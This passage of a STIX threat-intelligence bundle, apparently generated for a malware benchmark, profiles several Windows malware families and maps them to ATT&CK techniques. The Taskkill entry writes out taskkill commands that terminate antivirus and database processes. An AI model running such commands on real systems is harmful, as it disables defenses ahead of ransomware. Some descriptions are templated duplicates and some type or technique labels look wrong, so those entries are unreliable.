      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarctox exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--748f06e7-952c-5904-85cf-d073d6ca069e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarctox exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a98fd47-ca8f-55de-9ab3-5d7165dcd759",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarctox exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--340ab314-b01f-5bfa-82ee-e43704e4f11b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30be83a8-31e6-5a1a-bac3-7750d13cd67d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarctox exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tarifarch",
      "description": "Trojan:Win32/Tarifarch is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tarifarch</b><br>To an end-user, a Tarifarch infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tarifarch is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tarifarch is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tarifarch frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tarifarch reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tarifarch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tarifarch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74a4d00a-9506-5953-80f0-0cdba8491131",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarifarch exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e1e8b51-b639-5e06-9bf4-714fa1d7f45d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarifarch exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3848c83-73ca-52c5-8560-545b8163f216",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarifarch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--540d99eb-3e29-5eae-a3b4-b356346708ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarifarch exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce05b968-4f7a-5de2-bc3a-6baff607c6fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3920ca98-598c-5f8d-829e-4b2677c90746",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tarifarch exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e45a079-8d20-5c39-99b2-4478bf8dd067",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tartober",
      "description": "<h3>Executive Summary</h3>\nTartober is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader and backdoor for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTartober is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Microsoft Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tartober operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tartober ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` key) or by dropping a shortcut into the Windows Startup folder.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader and backdoor, Tartober receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or enterprise-targeting ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tartober infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Tartober executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Tartober often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tartober",
        "Downloader.Tartober",
        "Win32/Tartober"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tartober",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tartober"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c4dcc43-bd34-59a7-86db-a67ea4007e63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e45a079-8d20-5c39-99b2-4478bf8dd067",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tartober exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c948c787-c4a1-5d8f-9cf1-238f4c24ae2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e45a079-8d20-5c39-99b2-4478bf8dd067",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tartober exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbb1deff-1704-5938-85cc-e94734e908aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e45a079-8d20-5c39-99b2-4478bf8dd067",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tartober exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0430433-34b8-5a8c-97f5-7488eed2339b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tasker",
      "description": "Tasker (identified across endpoint security databases and threat intelligence reports as Trojan:Win32/Tasker, Backdoor:Win32/Tasker, and Trojan.Tasker) is a stealthy Windows trojan and initial access backdoor active since 2017 that specializes in abusing the native Windows Task Scheduler subsystem. Infiltrating environments via weaponized spear-phishing emails or cracked software installers, Tasker leverages the Task Scheduler API (ITaskService COM interfaces or schtasks.exe) to create obfuscated, high-privilege scheduled tasks disguised under names of legitimate operating system tasks (such as Windows Defender updates or disk optimization routines). Through these scheduled triggers, Tasker maintains resilient persistence that survives system reboots, establishes encrypted HTTP/HTTPS command-and-control communication, performs endpoint surveillance, and periodically downloads secondary ransomware or infostealer modules. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Tasker",
        "Backdoor:Win32/Tasker",
        "Trojan.Tasker",
        "Win32/Tasker",
        "Trojan:Win32/Tasker.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tasker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tasker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7ee4474d-a639-5b8c-afdf-f0e79c92eed0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taskkill",
      "description": "<h3>Executive Summary</h3>\nThe detection of \"Taskkill\" in a security context refers to the malicious abuse of the legitimate, built-in Windows utility `taskkill.exe`. While it is a standard administrative tool used to terminate unresponsive processes, malware and ransomware frequently script its execution to aggressively terminate endpoint security software, backup agents, and database services prior to launching a destructive payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause `taskkill.exe` is native to Windows (a \"Living off the Land\" binary, or LOLBin), attackers do not need to download it. It is invoked via command-line scripts (batch files, PowerShell) executed by an initial dropper Trojan or manually by an attacker traversing the network.\n\nIts abuse is a critical precursor to major attacks:\n<ul>\n<li><strong>Security Evasion:</strong> Ransomware routinely runs batch scripts containing long lists of `taskkill /F /IM [process_name.exe]` commands. The primary targets are AV engines, EDR sensors, and monitoring agents (e.g., `taskkill /f /im sqlwriter.exe`, `taskkill /f /im mbam.exe`).</li>\n<li><strong>Unlocking Files for Encryption:</strong> To successfully encrypt database files (like SQL `.mdf` files) or active documents, ransomware must first terminate the application using them. `taskkill` is used to forcefully close MS Word, Excel, SQL Server, and Exchange services so the ransomware can lock the underlying files.</li>\n<li><strong>Disrupting Analysis:</strong> Malware may constantly run `taskkill` in a loop to terminate analysis tools like Wireshark, Process Explorer, or Task Manager, preventing the victim from identifying the malicious process.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the tool itself is benign, the *context* of its execution is critical. A sudden burst of `taskkill.exe` commands attempting to terminate security or database services is an extreme high-fidelity alert indicating an imminent ransomware deployment or severe system sabotage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Monitoring (EDR):</strong> Traditional AV will not flag `taskkill.exe`. Security teams must rely on Endpoint Detection and Response (EDR) rules that trigger alerts based on the command-line arguments (e.g., alerting when `taskkill` targets security or backup services).</li>\n<li><strong>Immediate Isolation:</strong> If an automated alert fires for suspicious `taskkill` activity, the affected endpoint should be automatically and immediately isolated from the network to halt the impending attack chain.</li>\n<li><strong>Investigate the Caller:</strong> Identify the script or process that invoked `taskkill`. This will point directly to the root cause of the infection (e.g., a malicious scheduled task, an exploited service, or a droper Trojan).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tool.Taskkill.Abuse",
        "LOLBin.Taskkill",
        "Suspicious.CommandExecution"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taskkill",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taskkill"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90269953-f44c-5096-b415-1823c55da558",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ee4474d-a639-5b8c-afdf-f0e79c92eed0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taskkill exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3bef2dd-93c1-567d-b685-0be0fc545860",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ee4474d-a639-5b8c-afdf-f0e79c92eed0",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taskkill exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbf8e8ff-51cc-5bb4-ac69-c7a5601ba46a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7ee4474d-a639-5b8c-afdf-f0e79c92eed0",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taskkill exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6492d5e-8183-5e48-af18-92a9922fb4b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taterf",
      "description": "Worm:Win32/Taterf is a highly prevalent, self-replicating worm primarily designed to steal login credentials for popular Massively Multiplayer Online Role-Playing Games (MMORPGs) like World of Warcraft and Lineage. It gained massive notoriety for its aggressive propagation mechanisms, particularly its reliance on infecting removable USB drives and traversing open network shares.<br><br><b>Understanding Taterf (USB Worms)</b><br>To an end-user, a Taterf infection might go unnoticed until their valuable online gaming accounts are compromised and stripped of virtual assets. For a network administrator, Taterf is a severe nuisance that highlights poor network segregation and the dangers of unmanaged removable media. While its primary goal is gaming credential theft (`T1003`), its propagation methods cause significant 'background noise' and risk on corporate networks.<br><br><b>Execution and Propagation Mechanics</b><br>Taterf spreads aggressively via Lateral Movement. When an infected USB drive is inserted into a machine, Windows AutoRun (if enabled) automatically executes the worm (`T1091`). Once active, the worm copies itself to the Windows system folder and establishes persistence via the Registry Run keys (`T1547.001`). It then continually monitors for newly inserted USB drives, copying itself and a hidden `autorun.inf` file to them. Furthermore, it actively scans the local network for open SMB shares, attempting to copy its executable to any accessible network drives (`T1080`). To protect itself, Taterf attempts to terminate processes associated with popular antivirus and analysis tools (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is credential theft and network congestion. Host-based IoCs include the presence of `autorun.inf` files and hidden executables on the root of USB drives, and anomalous registry modifications ensuring startup. EDR solutions may flag the worm's attempts to forcefully terminate security processes. Network IoCs include excessive SMB traffic attempting to write executables to shared drives. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taterf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taterf"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31d64667-d198-5165-94b8-82cb843cc1e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6492d5e-8183-5e48-af18-92a9922fb4b1",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taterf exhibits technique T1091 (Replication Through Removable Media (USB Autorun))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d9b3f74-f327-5934-9c09-433b7a8496a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6492d5e-8183-5e48-af18-92a9922fb4b1",
      "target_ref": "attack-pattern--234da3df-9f9b-50d4-9775-e621938b35a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taterf exhibits technique T1080 (Taint Shared Content (Infecting network SMB shares))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea8c5e70-d580-50c8-8344-bfb2337bc6a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6492d5e-8183-5e48-af18-92a9922fb4b1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taterf exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Killing AV processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d90451b9-5148-5256-91ca-7e27c71a0bce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6492d5e-8183-5e48-af18-92a9922fb4b1",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taterf exhibits technique T1003 (OS Credential Dumping (Targeting game clients))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--845610b9-a373-5d42-8a96-87a090200ebb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Taworm",
      "description": "Worm:Win32/Taworm is a self-replicating malware strain designed to spread rapidly across networks and removable media without requiring user interaction beyond the initial execution (`T1090`). While historically worms were noisy and designed to cause disruption, modern variants like Taworm often act as silent delivery vehicles, establishing botnets or dropping secondary payloads (like cryptominers or ransomware) on every machine they infect.<br><br><b>Understanding Taworm (Self-Replication)</b><br>To an end-user, a Taworm infection might initially be invisible, though network slowdowns may occur as the worm aggressively scans for new targets. For an IT department, a worm outbreak is a critical incident, as it can compromise an entire corporate network in minutes, saturating bandwidth and forcing widespread operational downtime.<br><br><b>Execution and Propagation Mechanics</b><br>Taworm typically arrives via phishing, exploit kits, or by a user plugging in an infected USB drive (`T1091`). Upon execution, it establishes persistence (often via Registry Run keys) and begins its propagation cycle. It scans the local subnet (`T1046`) for vulnerable machines (e.g., exposed SMB or RDP ports). It often attempts to exploit known vulnerabilities (like MS17-010/EternalBlue) (`T1210`) or uses brute-force credential stuffing against network shares (`T1110`) to copy itself to adjacent machines and execute remotely using tools like PsExec or WMI (`T1047`). It also copies itself to all attached removable drives, creating `autorun.inf` files to execute when plugged into a new system.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the rapid, exponential spread of the infection and the deployment of secondary payloads across the enterprise. Host-based IoCs include the presence of anomalous executables and `autorun.inf` files on USB drives, and EDR alerts for rapid lateral movement techniques (e.g., unexpected WMI or SMB execution). Network IoCs are highly visible: massive spikes in ARP scanning, port scanning (particularly ports 445, 139, 3389), and excessive SMB traffic between workstations. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Taworm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/taworm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bedc4f73-bb0e-5ee7-aed1-2e7e03de9f9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--845610b9-a373-5d42-8a96-87a090200ebb",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taworm exhibits technique T1210 (Exploitation of Remote Services (Exploiting vulnerabilities like SMB to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc74b973-2911-5944-a984-b4a3eee5b541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--845610b9-a373-5d42-8a96-87a090200ebb",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taworm exhibits technique T1091 (Replication Through Removable Media (Infecting USB drives to jump air-gaps))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--271bc319-19b5-568b-8bc1-b06d65f65af4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--845610b9-a373-5d42-8a96-87a090200ebb",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taworm exhibits technique T1046 (Network Service Discovery (Scanning the local subnet for vulnerable targets))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37edbc05-0d2c-51c3-be1b-91fa05f8551f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--845610b9-a373-5d42-8a96-87a090200ebb",
      "target_ref": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Taworm exhibits technique T1110 (Brute Force (Attempting to crack passwords to access network shares))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tbma",
      "description": "Trojan:Win32/Tbma is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tbma</b><br>To an end-user, a Tbma infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tbma is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tbma is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tbma frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tbma reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tbma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tbma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d100cd8-8986-57eb-99f1-dc33c6c39926",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tbma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8b7140b-7bab-5c0c-a39d-0e1f8f95ec05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971e2b72-5c8d-553c-8a83-8e0a4b42dfed",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tbma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
